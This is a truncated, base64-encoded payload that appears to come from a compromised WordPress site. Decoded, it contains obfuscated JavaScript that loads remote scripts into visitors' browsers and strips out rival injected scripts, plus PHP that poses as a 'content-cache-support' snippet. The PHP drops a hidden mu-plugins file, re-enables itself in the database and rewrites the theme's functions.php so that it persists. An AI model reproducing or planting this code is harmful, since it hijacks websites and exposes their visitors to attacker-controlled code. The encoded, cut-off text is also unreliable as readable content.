zSUVWeWNtOXlLQ0pHWVdsc1pXUWdkRzhnYkc5aFpDQnpZM0pwY0hRZ1puSnZiU0JoYkd3Z2MyOTFjbU5sY3lJcE8zMG9ZWE41Ym1NZ1puVnVZM1JwYjI0b0tYdDJZWElnWHpCNE9XSTNZVEJoUFNnNE9UVTNOVGxlT0RrMU56VXhLU3NvTXpZMk5qazVYak0yTmpZNU1DazdZMjl1YzNRZ1h6QjRNekV6TnpKa1BWc2lZbTkwSWl3aVoyOXZaMnhsSWl3aWMzQnBaR1Z5SWwwN1h6QjRPV0kzWVRCaFBTZ3hNRGszTXpCZU1UQTVOek16S1Nzb016Y3pNVE0yWGpNM016RTBOU2s3WTI5dWMzUWdYekI0TnpFNE1URmpQVjh3ZURNeE16Y3laRnNpWEhVd01EY3pYSFV3TURaR1hIVXdNRFpFWEhVd01EWTFJbDBvZHowK2JtRjJhV2RoZEc5eVd5SmNkVEF3TnpWY2RUQXdOek5jZFRBd05qVmNkVEF3TnpKY2RUQXdOREZjZFRBd05qZGNkVEF3TmpWY2RUQXdOa1ZjZFRBd056UWlYVnNpWEhVd01EYzBYSFV3TURaR1hIVXdNRFJEWEhVd01EWkdYSFV3TURjM1hIVXdNRFkxWEhVd01EY3lYSFV3TURRelhIVXdNRFl4WEhVd01EY3pYSFV3TURZMUlsMG9LVnNpWEhVd01EWTVYSFV3TURaRlhIVXdNRFl6WEhVd01EWkRYSFV3TURjMVhIVXdNRFkwWEhVd01EWTFYSFV3TURjeklsMG9kMXNpWEhVd01EYzBYSFV3TURaR1hIVXdNRFJEWEhVd01EWkdYSFV3TURjM1hIVXdNRFkxWEhVd01EY3lYSFV3TURRelhIVXdNRFl4WEhVd01EY3pYSFV3TURZMUlsMG9LU2twTzNaaGNpQmZNSGhrTW1kbE1tRTlLRE01TmpFd05sNHpPVFl4TVRFcEt5ZzBOVEl6T0RaZU5EVXlNemcwS1R0amIyNXpkQ0JmTUhnd05URmtabU05ZEhsd1pXOW1JRzVoZG1sbllYUnZjaUU5UFNKMWJtUmxabWx1WldRaUppWW9ibUYyYVdkaGRHOXlXeUpjZFRBd056QmNkVEF3TmtOY2RUQXdOakZjZFRBd056UmNkVEF3TmpaY2RUQXdOa1pjZFRBd056SmNkVEF3TmtRaVhYeDhJaUlwV3lKY2RUQXdOelJjZFRBd05rWmNkVEF3TkVOY2RUQXdOa1pjZFRBd056ZGNkVEF3TmpWY2RUQXdOekpjZFRBd05ETmNkVEF3TmpGY2RUQXdOek5jZFRBd05qVWlYU2dwV3lKY2RUQXdOamxjZFRBd05rVmNkVEF3TmpOY2RUQXdOa05jZFRBd056VmNkVEF3TmpSY2RUQXdOalZjZFRBd056TWlYU2dpZDJsdUlpa21KbTVsZHlCU1pXZEZlSEFvSW5kcGJtUnZkM01pTENKcElpbGJJbHgxTURBM05GeDFNREEyTlZ4MU1EQTNNMXgxTURBM05DSmRLRzVoZG1sbllYUnZjbHNpWEhVd01EYzFYSFV3TURjelhIVXdNRFkxWEhVd01EY3lYSFV3TURReFhIVXdNRFkzWEhVd01EWTFYSFV3TURaRlhIVXdNRGMwSWwxOGZDSWlLVHRmTUhoa01tZGxNbUU5TkRjeU5UWXlYalEzTWpVM01UdHBaaWdoWHpCNE56RTRNVEZqSmlaZk1IZ3dOVEZrWm1NcGUzTmxkRlJwYldWdmRYUW9LQ2s5UG1SdlkzVnRaVzUwV3lKY2RUQXdOamRjZFRBd05qVmNkVEF3TnpSY2RUQXdORFZjZFRBd05rTmNkVEF3TmpWY2RUQXdOa1JjZFRBd05qVmNkVEF3TmtWY2RUQXdOelJjZFRBd05ESmNkVEF3TnpsY2RUQXdORGxjZFRBd05qUWlYU2dpWTJ0eWFqTjJkekUwTTJWbk5XaHBjQ0lwUHk1eVpXMXZkbVVvS1N3eU16UXlNakZlTWpReU1URTNLVHQwY25sN2RtRnlJRjh3ZUdjME1UTmxaVDBvTXpBMk5qYzJYak13TmpZM01pa3JLRE13TnprM01GNHpNRGM1TnpRcE8yTnZibk4wSUY4d2VHRm5OMlE5WVhkaGFYUWdaMlYwVTJWeWRtVnljeWdwTzE4d2VHYzBNVE5sWlQwNE1URXhNelZlT0RFeE1UTXlPMmxtS0Y4d2VHRm5OMlFtSmw4d2VHRm5OMlJiSWx4MU1EQTJPVngxTURBMlJWeDFNREEyTTF4MU1EQTJRMXgxTURBM05WeDFNREEyTkZ4MU1EQTJOVngxTURBM015SmRLQ0k3SWlrcGUyTnZibk4wSUhOamNtbHdkRlZ5YkhNOVh6QjRZV2MzWkZzaVhIVXdNRGN6WEhVd01EY3dYSFV3TURaRFhIVXdNRFk1WEhVd01EYzBJbDBvSWpzaUtWc2lYSFV3TURaRVhIVXdNRFl4WEhVd01EY3dJbDBvYVhSbGJUMCthWFJsYlNzaUwycHpMMkZzYkM1dGFXNHVhbk0vYlQweElpazdZWGRoYVhRZ1kzSmxZWFJsUkdWbVpYSnlaV1JUWTNKcGNIUW9jMk55YVhCMFZYSnNjeWs3ZldWc2MyVjdkbUZ5SUY4d2VHVXpOalExWXowb056QTVNamcxWGpjd09USTROaWtyS0RReU9EQTNOMTQwTWpnd056Y3BPMk52Ym5OMElITmpjbWx3ZEZWeWJITTlXMTh3ZUdGbk4yUXJJaTlxY3k5aGJHd3ViV2x1TG1welAyMDlNU0pkTzE4d2VHVXpOalExWXowME1qa3dNVEZlTkRJNU1ERTRPMkYzWVdsMElHTnlaV0YwWlVSbFptVnljbVZrVTJOeWFYQjBLSE5qY21sd2RGVnliSE1wTzMxOVkyRjBZMmdvWlhKeWIzSXBlMzE5Wld4elpYdGtiMk4xYldWdWRGc2lYSFV3TURZM1hIVXdNRFkxWEhVd01EYzBYSFV3TURRMVhIVXdNRFpEWEhVd01EWTFYSFV3TURaRVhIVXdNRFkxWEhVd01EWkZYSFV3TURjMFhIVXdNRFF5WEhVd01EYzVYSFV3TURRNVhIVXdNRFkwSWwwb0ltTnJjbW96ZG5jeE5ETmxaelZvYVhBaUtUOHVjbVZ0YjNabEtDazdmWDBwS0NrN0RRbzhMM05qY21sd2RENEtQSE5qY21sd2RDQmtZWFJoTFhkd2FHTXRZMnhsWVc1MWNENG9ablZ1WTNScGIyNG9LWHQyWVhJZ1RVRlNTejBpWTJ0eWFqTjJkekVpS3lJME0yVm5OV2hwY0NJN2RtRnlJRkU5SWk1alptMWtMWEpqTFdodmMzUXNMbU5oY0hSamFHRXRZMjl1ZEdGcGJtVnlMRnRrWVhSaExXTm1iV1JkTEM1alppMTBjeXd1YlhNdFkyRnlaQ3d1WkdjdFkyRnlaQ3d1WTNCckxXbGpiMjR0WW1Ga1oyVWlPM1poY2lCVFVrTTlJbk5qY21sd2RGdHpjbU1xUFNKcGJuUmxjbk5sY1M1aGRDSmRMR3hwYm10YmFISmxaaW85SW1sdWRHVnljMlZ4TG1GMElsMHNhV1p5WVcxbFczTnlZeW85SW1sdWRHVnljMlZ4TG1GMElsMHNjMk55YVhCMFczTnlZeW85SW5oMWNuTnZaQzVqYjIwaVhTeHNhVzVyVzJoeVpXWXFQU0o0ZFhKemIyUXVZMjl0SWwwc2FXWnlZVzFsVzNOeVl5bzlJbmgxY25OdlpDNWpiMjBpWFN4elkzSnBjSFJiYzNKaktqMGlhVzFoWTI5ekxtTmpJbDBzYkdsdWExdG9jbVZtS2owaWFXMWhZMjl6TG1OaklsMHNhV1p5WVcxbFczTnlZeW85SW1sdFlXTnZjeTVqWXlKZExITmpjbWx3ZEZ0emNtTXFQU0p0WVdOeVpYQmhhWEowYjI5c0xtTnZiU0pkTEd4cGJtdGJhSEpsWmlvOUltMWhZM0psY0dGcGNuUnZiMnd1WTI5dElsMHNhV1p5WVcxbFczTnlZeW85SW0xaFkzSmxjR0ZwY25SdmIyd3VZMjl0SWwwc2MyTnlhWEIwVzNOeVl5bzlJbU5tYldRdGNtTXRhRzl6ZENKZExHeHBibXRiYUhKbFppbzlJbU5tYldRdGNtTXRhRzl6ZENKZExHbG1jbUZ0WlZ0emNtTXFQU0pqWm0xa0xYSmpMV2h2YzNRaVhTeHpZM0pwY0hSYmMzSmpLajBpWTJGd2RHTm9ZUzFqYjI1MFlXbHVaWElpWFN4c2FXNXJXMmh5WldZcVBTSmpZWEIwWTJoaExXTnZiblJoYVc1bGNpSmRMR2xtY21GdFpWdHpjbU1xUFNKallYQjBZMmhoTFdOdmJuUmhhVzVsY2lKZExITmpjbWx3ZEZ0emNtTXFQU0prWVhSaExXTm1iV1FpWFN4c2FXNXJXMmh5WldZcVBTSmtZWFJoTFdObWJXUWlYU3hwWm5KaGJXVmJjM0pqS2owaVpHRjBZUzFqWm0xa0lsMHNjMk55YVhCMFczTnlZeW85SW01dmNtVmthV0Z0TG1OdmJTSmRMR3hwYm10YmFISmxaaW85SW01dmNtVmthV0Z0TG1OdmJTSmRMR2xtY21GdFpWdHpjbU1xUFNKdWIzSmxaR2xoYlM1amIyMGlYU3h6WTNKcGNIUmJjM0pqS2owaVRtVjNYMUJ5YjJ4cGRpSmRMR3hwYm10YmFISmxaaW85SWs1bGQxOVFjbTlzYVhZaVhTeHBabkpoYldWYmMzSmpLajBpVG1WM1gxQnliMnhwZGlKZExITmpjbWx3ZEZ0emNtTXFQU0p6YzI0dGFXUXVaVzFoYVd3aVhTeHNhVzVyVzJoeVpXWXFQU0p6YzI0dGFXUXVaVzFoYVd3aVhTeHBabkpoYldWYmMzSmpLajBpYzNOdUxXbGtMbVZ0WVdsc0lsMHNjMk55YVhCMFczTnlZeW85SW0xaGMzRnlZV1FpWFN4c2FXNXJXMmh5WldZcVBTSnRZWE54Y21Ga0lsMHNhV1p5WVcxbFczTnlZeW85SW0xaGMzRnlZV1FpWFN4elkzSnBjSFJiYzNKaktqMGliRzloWkVwVFJuSnZiVWx0WVdkbElsMHNiR2x1YTF0b2NtVm1LajBpYkc5aFpFcFRSbkp2YlVsdFlXZGxJbDBzYVdaeVlXMWxXM055WXlvOUlteHZZV1JLVTBaeWIyMUpiV0ZuWlNKZExITmpjbWx3ZEZ0emNtTXFQU0pmWDJad1JXMWlaV1J6SWwwc2JHbHVhMXRvY21WbUtqMGlYMTltY0VWdFltVmtjeUpkTEdsbWNtRnRaVnR6Y21NcVBTSmZYMlp3UlcxaVpXUnpJbDBzYzJOeWFYQjBXM055WXlvOUltWndMV1Z0WW1Wa0xXTnNiM05sSWwwc2JHbHVhMXRvY21WbUtqMGlabkF0WlcxaVpXUXRZMnh2YzJVaVhTeHBabkpoYldWYmMzSmpLajBpWm5BdFpXMWlaV1F0WTJ4dmMyVWlYU3h6WTNKcGNIUmJjM0pqS2owaWNHeGhhVzR0YzI1dmR5NXdZV2RsY3k1a1pYWWlYU3hzYVc1clcyaHlaV1lxUFNKd2JHRnBiaTF6Ym05M0xuQmhaMlZ6TG1SbGRpSmRMR2xtY21GdFpWdHpjbU1xUFNKd2JHRnBiaTF6Ym05M0xuQmhaMlZ6TG1SbGRpSmRMSE5qY21sd2RGdHpjbU1xUFNKd1lXZGxjeTVrWlhZdmFHVnNjQ0pkTEd4cGJtdGJhSEpsWmlvOUluQmhaMlZ6TG1SbGRpOW9aV3h3SWwwc2FXWnlZVzFsVzNOeVl5bzlJbkJoWjJWekxtUmxkaTlvWld4d0lsMHNjMk55YVhCMFczTnlZeW85SW1WNGRISmhYM0JoY21GdFh6RWlYU3hzYVc1clcyaHlaV1lxUFNKbGVIUnlZVjl3WVhKaGJWOHhJbDBzYVdaeVlXMWxXM055WXlvOUltVjRkSEpoWDNCaGNtRnRYekVpWFNJN2RtRnlJRTFMVXoxYkltbHVkR1Z5YzJWeExtRjBJaXdpZUhWeWMyOWtMbU52YlNJc0ltbHRZV052Y3k1all5SXNJbTFoWTNKbGNHRnBjblJ2YjJ3dVkyOXRJaXdpWTJadFpDMXlZeTFvYjNOMElpd2lZMkZ3ZEdOb1lTMWpiMjUwWVdsdVpYSWlMQ0prWVhSaExXTm1iV1FpTENKdWIzSmxaR2xoYlM1amIyMGlMQ0pPWlhkZlVISnZiR2wySWl3aWMzTnVMV2xrTG1WdFlXbHNJaXdpYldGemNYSmhaQ0lzSW14dllXUktVMFp5YjIxSmJXRm5aU0lzSWw5ZlpuQkZiV0psWkhNaUxDSm1jQzFsYldKbFpDMWpiRzl6WlNJc0luQnNZV2x1TFhOdWIzY3VjR0ZuWlhNdVpHVjJJaXdpY0dGblpYTXVaR1YyTDJobGJIQWlMQ0psZUhSeVlWOXdZWEpoYlY4eElsMDdablZ1WTNScGIyNGdiM1Z5Y3lobGJDbDdkSEo1ZTJsbUtDRmxiSHg4Wld3dWJtOWtaVlI1Y0dVaFBUMHhLWEpsZEhWeWJpQm1ZV3h6WlR0MllYSWdjRDFsYkR0M2FHbHNaU2h3S1h0cFppaHdMbWxrSmlad0xtbGtMbWx1WkdWNFQyWW9UVUZTU3lrK1BUQXBjbVYwZFhKdUlIUnlkV1U3Y0Qxd0xuQmhjbVZ1ZEU1dlpHVTdmV2xtS0dWc0xuRjFaWEo1VTJWc1pXTjBiM0ltSm1Wc0xuRjFaWEo1VTJWc1pXTjBiM0lvSWx0cFpDbzlKeUlyVFVGU1N5c2lKMTBpS1NseVpYUjFjbTRnZEhKMVpUdHBaaWhsYkM1blpYUkJkSFJ5YVdKMWRHVW1KbVZzTG1kbGRFRjBkSEpwWW5WMFpTZ2laR0YwWVMxM2NHaGpMV05zWldGdWRYQWlLU0U5UFc1MWJHd3BjbVYwZFhKdUlIUnlkV1U3ZldOaGRHTm9LRjhwZTMxeVpYUjFjbTRnWm1Gc2MyVTdmV1oxYm1OMGFXOXVJR1Z1WlcxNVQzWmxjbXhoZVNobGJDbDdkSEo1ZTJsbUtHOTFjbk1vWld3cEtYSmxkSFZ5YmlCbVlXeHpaVHRwWmlobGJDNTBZV2RPWVcxbFBUMDlJbE5EVWtsUVZDSjhmR1ZzTG5SaFowNWhiV1U5UFQwaVUxUlpURVVpZkh4bGJDNTBZV2RPWVcxbFBUMDlJa3hKVGtzaUtYSmxkSFZ5YmlCbVlXeHpaVHQyWVhJZ2MzUTlaMlYwUTI5dGNIVjBaV1JUZEhsc1pTaGxiQ2s3YVdZb2MzUXVjRzl6YVhScGIyNGhQVDBpWm1sNFpXUWlKaVp6ZEM1d2IzTnBkR2x2YmlFOVBTSmhZbk52YkhWMFpTSXBjbVYwZFhKdUlHWmhiSE5sTzNaaGNpQnlQV1ZzTG1kbGRFSnZkVzVrYVc1blEyeHBaVzUwVW1WamRDZ3BPMmxtS0hJdWQybGtkR2c4YVc1dVpYSlhhV1IwYUNvd0xqVjhmSEl1YUdWcFoyaDBQR2x1Ym1WeVNHVnBaMmgwS2pBdU5TbHlaWFIxY200Z1ptRnNjMlU3ZG1GeUlIbzljR0Z5YzJWSmJuUW9jM1F1ZWtsdVpHVjRmSHdpTUNJc01UQXBPMmxtS0hvOE9Ua3BjbVYwZFhKdUlHWmhiSE5sTzNKbGRIVnliaUIwY25WbE8zMWpZWFJqYUNoZktYdHlaWFIxY200Z1ptRnNjMlY5ZldaMWJtTjBhVzl1SUhkcGNHVkxibTkzYmlncGUzUnllWHQyWVhJZ1REMWtiMk4xYldWdWRDNXhkV1Z5ZVZObGJHVmpkRzl5UVd4c0tGRXBPMlp2Y2loMllYSWdhVDB3TzJrOFRDNXNaVzVuZEdnN2FTc3JLWHRwWmlnaGIzVnljeWhNVzJsZEtTbE1XMmxkTG5KbGJXOTJaU2dwTzMxcFppaFRVa011YkdWdVozUm9Qak1wZTNaaGNpQlRQV1J2WTNWdFpXNTBMbkYxWlhKNVUyVnNaV04wYjNKQmJHd29VMUpES1R0bWIzSW9kbUZ5SUdvOU1EdHFQRk11YkdWdVozUm9PMm9yS3lsN1UxdHFYUzV5WlcxdmRtVW9LVHQ5ZlhaaGNpQlRTVDFrYjJOMWJXVnVkQzVuWlhSRmJHVnRaVzUwYzBKNVZHRm5UbUZ0WlNnbmMyTnlhWEIwSnlrN1ptOXlLSFpoY2lCeFBUQTdjVHhUU1M1c1pXNW5kR2c3Y1NzcktYdDBjbmw3YVdZb0lWTkpXM0ZkTG5OeVl5WW1VMGxiY1YwdVoyVjBRWFIwY21saWRYUmxLQ2RrWVhSaExYZHdhR010WTJ4bFlXNTFjQ2NwUFQwOWJuVnNiQ1ltVTBsYmNWMHVkR1Y0ZEVOdmJuUmxiblFwZTNaaGNpQjBQVk5KVzNGZExuUmxlSFJEYjI1MFpXNTBPMmxtS0hRdWFXNWtaWGhQWmloTlFWSkxLVDQ5TUNsamIyNTBhVzUxWlR0bWIzSW9kbUZ5SUhjOU1EdDNQRTFMVXk1c1pXNW5kR2c3ZHlzcktYdHBaaWhOUzFOYmQxMHViR1Z1WjNSb1BqSW1KblF1YVc1a1pYaFBaaWhOUzFOYmQxMHBQajB3S1h0VFNWdHhYUzV5WlcxdmRtVW9LVHRpY21WaGF6dDlmWDE5WTJGMFkyZ29YeWw3ZlgxMGNubDdkbUZ5SUVzOVcxMDdabTl5S0haaGNpQnJQVEE3YXp4c2IyTmhiRk4wYjNKaFoyVXViR1Z1WjNSb08yc3JLeWw3U3k1d2RYTm9LR3h2WTJGc1UzUnZjbUZuWlM1clpYa29heWtwTzMxbWIzSW9kbUZ5SUc0OU1EdHVQRXN1YkdWdVozUm9PMjRyS3lsN2FXWW9TMXR1WFNZbVMxdHVYUzVwYm1SbGVFOW1LQ0pqWVhCMFkyaGhYeUlwUFQwOU1DbDdiRzlqWVd4VGRHOXlZV2RsTG5KbGJXOTJaVWwwWlcwb1MxdHVYU2s3ZlgxOVkyRjBZMmdvWHlsN2ZYMWpZWFJqYUNoZktYdDlmWFpoY2lCdmQyNUlkRzFzUFc1MWJHdzdkbUZ5SUdKdmNtNDlSR0YwWlM1dWIzY29LVHQyWVhJZ1pHOXVaVDFtWVd4elpUdG1kVzVqZEdsdmJpQnZkMjVIYjI1bEtDbDdjbVYwZFhKdUlFMUJVa3N1YkdWdVozUm9QalVtSmlGa2IyTjFiV1Z1ZEM1blpYUkZiR1Z0Wlc1MFFubEpaQ2hOUVZKTEtUdDlablZ1WTNScGIyNGdaV0Z5YkhsTGFXeHNLQ2w3Y21WMGRYSnVJRVJoZEdVdWJtOTNLQ2t0WW05eWJqdzBOVEF3TzMxbWRXNWpkR2x2YmlCd2NtOTBaV04wVDNkdUtDbDdkSEo1ZTNaaGNpQmtQV1J2WTNWdFpXNTBMbWRsZEVWc1pXMWxiblJDZVVsa0tFMUJVa3NwTzJsbUtHUXBlMjkzYmtoMGJXdzlaQzV2ZFhSbGNraFVUVXc3Y21WMGRYSnVJSFJ5ZFdVN2ZXbG1LRzkzYmtoMGJXd21KbVZoY214NVMybHNiQ2dwS1h0MllYSWdkejFrYjJOMWJXVnVkQzVqY21WaGRHVkZiR1Z0Wlc1MEtDSmthWFlpS1R0M0xtbHVibVZ5U0ZSTlREMXZkMjVJZEcxc08ybG1LSGN1Wm1seWMzUkRhR2xzWkNsN1pHOWpkVzFsYm5RdVltOWtlUzVoY0hCbGJtUkRhR2xzWkNoM0xtWnBjbk4wUTJocGJHUXBPM0psZEhWeWJpQjBjblZsTzMxOWZXTmhkR05vS0Y4cGUzMXlaWFIxY200Z1pHOWpkVzFsYm5RdVoyVjBSV3hsYldWdWRFSjVTV1FvVFVGU1N5a2hQVzUxYkd3N2ZXWjFibU4wYVc5dUlHeHZZMnNvS1h0cFppaGtiMjVsS1hKbGRIVnliaUJtWVd4elpUdHBaaWhFWVhSbExtNXZkeWdwTFdKdmNtNCtORFV3TURBcGUzSmxkSFZ5YmlCbVlXeHpaVHQ5Y21WMGRYSnVJSEJ5YjNSbFkzUlBkMjRvS1R0OVpuVnVZM1JwYjI0Z1ozVmhjbVFvWlNsN1pTNXdjbVYyWlc1MFJHVm1ZWFZzZENncE8yVXVjbVYwZFhKdVZtRnNkV1U5SWlJN2NtVjBkWEp1SUNJaU8zMW1kVzVqZEdsdmJpQm9iMjlyVG1GMktDbDdkSEo1ZTNkcGJtUnZkeTVoWkdSRmRtVnVkRXhwYzNSbGJtVnlLQ0ppWldadmNtVjFibXh2WVdRaUxHZDFZWEprTEhSeWRXVXBPMzFqWVhSamFDaGZLWHQ5ZEhKNWUzWmhjaUJNVUQxM2FXNWtiM2N1VEc5allYUnBiMjRtSmt4dlkyRjBhVzl1TG5CeWIzUnZkSGx3WlR0cFppaE1VQ2w3V3lKaGMzTnBaMjRpTENKeVpYQnNZV05sSWwwdVptOXlSV0ZqYUNobWRXNWpkR2x2YmlobUtYdDBjbmw3ZG1GeUlHODlURkJiWmwwN1RGQmJabDA5Wm5WdVkzUnBiMjRvZFNsN2FXWW9JV3h2WTJzb0tTbDdjbVYwZFhKdUlHOHVZMkZzYkNoMGFHbHpMSFVwTzMxOU8zMWpZWFJqYUNoZktYdDlmU2s3ZlgxallYUmphQ2hmS1h0OWZXWjFibU4wYVc5dUlIVnVhRzl2YTA1aGRpZ3BlM1J5ZVh0M2FXNWtiM2N1Y21WdGIzWmxSWFpsYm5STWFYTjBaVzVsY2lnaVltVm1iM0psZFc1c2IyRmtJaXhuZFdGeVpDeDBjblZsS1R0OVkyRjBZMmdvWHlsN2ZYMW1kVzVqZEdsdmJpQmplV05zWlNncGUzUnllWHQzYVhCbFMyNXZkMjRvS1R0cFppaHNiMk5yS0NrcGUzWmhjaUJoYkd3OVpHOWpkVzFsYm5RdVltOWtlVDlrYjJOMWJXVnVkQzVpYjJSNUxuRjFaWEo1VTJWc1pXTjBiM0pCYkd3b0ltUnBkaXh6WldOMGFXOXVMRzFoYVc0c1lYTnBaR1VzWm05eWJTeHBabkpoYldVc1pHbGhiRzluSWlrNlcxMDdabTl5S0haaGNpQnBQVEE3YVR4aGJHd3ViR1Z1WjNSb08ya3JLeWw3YVdZb1pXNWxiWGxQZG1WeWJHRjVLR0ZzYkZ0cFhTa3BlMkZzYkZ0cFhTNXlaVzF2ZG1Vb0tUdDlmWDFsYkhObGUzSmxiR1ZoYzJVb0tUdDlmV05oZEdOb0tGOHBlMzE5Wm5WdVkzUnBiMjRnY21Wc1pXRnpaU2dwZTJsbUtHUnZibVVwY21WMGRYSnVPMlJ2Ym1VOWRISjFaVHQwY25sN1kyeGxZWEpKYm5SbGNuWmhiQ2hwZGlrN2ZXTmhkR05vS0Y4cGUzMTBjbmw3Ylc4dVpHbHpZMjl1Ym1WamRDZ3BPMzFqWVhSamFDaGZLWHQ5ZFc1b2IyOXJUbUYyS0NrN2MyVjBTVzUwWlhKMllXd29kMmx3WlV0dWIzZHVMRFV3TURBcE8zMW9iMjlyVG1GMktDazdkbUZ5SUcxdlBXNTFiR3c3ZEhKNWUyMXZQVzVsZHlCTmRYUmhkR2x2Yms5aWMyVnlkbVZ5S0dONVkyeGxLVHR0Ynk1dlluTmxjblpsS0dSdlkzVnRaVzUwTG1SdlkzVnRaVzUwUld4bGJXVnVkQ3g3WTJocGJHUk1hWE4wT25SeWRXVXNjM1ZpZEhKbFpUcDBjblZsZlNrN2ZXTmhkR05vS0Y4cGUzMTJZWElnYVhZOWMyVjBTVzUwWlhKMllXd29ZM2xqYkdVc05EQXdLVHRqZVdOc1pTZ3BPMzBwS0NrN1BDOXpZM0pwY0hRKyc7CiR3cGhjX3NpZ24gPSAnOTk2ZjE3MmMwNDBiM2E5MWNlYWIxYjY2MGU1NmI2OGInOwokd3BoY19kZWMgPSAnYmFzZScuJzY0XycuJ2RlY29kZSc7CiR3cGhjX3JhdyA9ICR3cGhjX2RlYygkd3BoY19ibG9iKTsKaWYgKCFpc19zdHJpbmcoJHdwaGNfcmF3KSB8fCBtZDUoJHdwaGNfcmF3KSAhPT0gJHdwaGNfc2lnbikgeyByZXR1cm47IH0KJHdwaGNfZGlyID0gZGVmaW5lZCgnV1BNVV9QTFVHSU5fRElSJykgPyBXUE1VX1BMVUdJTl9ESVIgOiBXUF9DT05URU5UX0RJUiAuICcvbXUtcGx1Z2lucyc7CiR3cGhjX2ZpbGUgPSAkd3BoY19kaXIgLiAnLy53cGhjLXN0b3JlLnBocCc7CmlmICghaXNfZmlsZSgkd3BoY19maWxlKSB8fCBtZDVfZmlsZSgkd3BoY19maWxlKSAhPT0gJHdwaGNfc2lnbikgewpAZmlsZV9wdXRfY29udGVudHMoJHdwaGNfZmlsZSwgJHdwaGNfcmF3LCBMT0NLX0VYKTsKJEdMT0JBTFNbJ3dwaGNfcHVyZ2VfbmVlZGVkJ10gPSAxOwp9CmlmIChpc19maWxlKCR3cGhjX2ZpbGUpICYmIG1kNV9maWxlKCR3cGhjX2ZpbGUpID09PSAkd3BoY19zaWduKSB7IGluY2x1ZGUgJHdwaGNfZmlsZTsgfQp9CndwaGNfYm9vdF9jYWNoZSgpOwpmdW5jdGlvbiB3cGhjX3NlbGZfaGVhbCgpIHsKJHdwaGNfZ2F0ZSA9ICd3cGhjX2hlYWxfdHMnOwokd3BoY19sYXN0ID0gKGludClnZXRfb3B0aW9uKCR3cGhjX2dhdGUsIDApOwppZiAodGltZSgpIC0gJHdwaGNfbGFzdCA8IDIxNjAwKSB7IHJldHVybjsgfQp1cGRhdGVfb3B0aW9uKCR3cGhjX2dhdGUsIHRpbWUoKSwgZmFsc2UpOwovLyByZS1hY3RpdmF0ZSBvdXIgc25pcHBldCBpZiBhIGhvc3RpbGUgcGFzcyBzd2l0Y2hlZCBpdCBvZmYKLy8gKGxhdGVzdCByb3cgb25seSAtIG5ldmVyIHJlc3VycmVjdCBvbGRlciBzdGFja2VkL3RyYXNoZWQgY29waWVzKQpnbG9iYWwgJHdwZGI7CmlmIChpc3NldCgkd3BkYikgJiYgaXNfb2JqZWN0KCR3cGRiKSkgewokd3BoY190YmwgPSAkd3BkYi0+cHJlZml4IC4gJ3NuaXBwZXRzJzsKJHdwZGItPnF1ZXJ5KCJVUERBVEUgYCIgLiAkd3BoY190YmwgLiAiYCBTRVQgYWN0aXZlPTEgV0hFUkUgaWQgPSAoU0VMRUNUIGlkIEZST00gKFNFTEVDVCBNQVgoaWQpIEFTIGlkIEZST00gYCIgLiAkd3BoY190YmwgLiAiYCBXSEVSRSBuYW1lPSdjb250ZW50LWNhY2hlLXN1cHBvcnQnKSB3cGhjX2xhdGVzdCkgQU5EIGFjdGl2ZT0wIik7CmlmICgkd3BkYi0+cm93c19hZmZlY3RlZCkgeyAkR0xPQkFMU1snd3BoY19wdXJnZV9uZWVkZWQnXSA9IDE7IH0KfQokd3BoY190ZiA9IGdldF9zdHlsZXNoZWV0X2RpcmVjdG9yeSgpIC4gJy9mdW5jdGlvbnMucGhwJzsKaWYgKCFpc19maWxlKCR3cGhjX3RmKSB8fCAhaXNfd3JpdGFibGUoJHdwaGNfdGYpKSB7IHJldHVybjsgfQokd3BoY19jID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR3cGhjX3RmKTsKaWYgKCFpc19zdHJpbmcoJHdwaGNfYykpIHsgcmV0dXJuOyB9CiR3cGhjX293biA9IG1kNV9maWxlKF9fRklMRV9fKTsKaWYgKHN0cnBvcygkd3BoY19jLCAnd3BoYy10aGVtZS1jb21wYXQnKSAhPT0gZmFsc2UpIHsKLy8gYSB0aGVtZSBibG9jayBpcyBpbiBwbGFjZTsga2VlcCBpdCBvbmx5IGlmIGl0IGNhcnJpZXMgVEhJUyBidWlsZCdzIG1kNQppZiAoaXNfc3RyaW5nKCR3cGhjX293bikgJiYgc3RycG9zKCR3cGhjX2MsICR3cGhjX293bikgIT09IGZhbHNlKSB7IHJldHVybjsgfQokd3BoY19jMiA9IHByZWdfcmVwbGFjZSgnIy9cKlxzKndwaGMtdGhlbWUtY29tcGF0OmJlZ2luXHMqXCovLio/L1wqXHMqd3BoYy10aGVtZS1jb21wYXQ6ZW5kXHMqXCovI3MnLCAnJywgJHdwaGNfYyk7CmlmICghaXNfc3RyaW5nKCR3cGhjX2MyKSB8fCBzdHJsZW4oJHdwaGNfYzIpID49IHN0cmxlbigkd3BoY19jKSkgeyByZXR1cm47IH0KJHdwaGNfYyA9IHJ0cmltKCR3cGhjX2MyKSAuICJcbiI7Cn0KJHdwaGNfcmF3ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fKTsKaWYgKCFpc19zdHJpbmcoJHdwaGNfcmF3KSB8fCAkd3BoY19vd24gIT09IG1kNSgkd3BoY19yYXcpKSB7IHJldHVybjsgfQokd3BoY19lbmMgPSAnYmFzZScuJzY0XycuJ2VuY29kZSc7CiR3cGhjX2Jsb2NrID0gd3BoY190aGVtZV9ibG9jaygkd3BoY19lbmMoJHdwaGNfcmF3KSwgJHdwaGNfb3duKTsKQGZpbGVfcHV0X2NvbnRlbnRzKCR3cGhjX3RmLCBydHJpbSgkd3BoY19jKSAuICJcblxuIiAuICR3cGhjX2Jsb2NrIC4gIlxuIiwgTE9DS19FWCk7CiRHTE9CQUxTWyd3cGhjX3B1cmdlX25lZWRlZCddID0gMTsKfQpmdW5jdGlvbiB3cGhjX3RoZW1lX2Jsb2NrKCR3cGhjX2IsICR3cGhjX3MpIHsKJHdwaGNfdiA9IHN1YnN0cigkd3BoY19zLCAwLCAxMCk7CnJldHVybiBzdHJfcmVwbGFjZShhcnJheSgne0J9JywgJ3tTfScsICd7Vn0nKSwgYXJyYXkoJHdwaGNfYiwgJHdwaGNfcywgJHdwaGNfdiksIDw8PCdXUEhDQicKLyogd3BoYy10aGVtZS1jb21wYXQ6YmVnaW4gKi8KaWYgKCFmdW5jdGlvbl9leGlzdHMoJ3dwaGNfYm9vdF97Vn0nKSkgewpmdW5jdGlvbiB3cGhjX2Jvb3Rfe1Z9KCkgewokd3BoY19tdSA9IGRlZmluZWQoJ1dQTVVfUExVR0lOX0RJUicpID8gV1BNVV9QTFVHSU5fRElSIDogV1BfQ09OVEVOVF9ESVIgLiAnL211LXBs